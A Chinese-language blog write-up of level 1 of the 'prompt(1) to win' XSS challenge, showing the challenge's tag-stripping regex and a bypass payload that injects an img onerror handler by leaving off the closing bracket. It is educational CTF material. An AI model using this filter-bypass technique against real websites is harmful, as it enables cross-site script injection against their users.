指引
- 官网入口: prompt(1) to win(http://prompt.ml)
- Github版: https://github.com/lyy289065406/CTF-Solving-Reports
- 关卡索引: http://exp-blog.com/2019/03/18/pid-3608/
题目
1 2 3 4 5 6 7 8 9 10 |
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; } |
解题报告
注意观察正则表达式,它会把所有匹配 <tag>
或 </tag>
的标签全部剥离。
那么不构造完整的 tag 、仅通过属性注入就可以绕过了,如这样的 payload :
<img src=0 onerror=prompt(1)
(注意末尾有一个空格)
转载请注明:EXP 技术分享博客 » CTF – Prompt(1)解题报告 [Level 1 – tags stripping]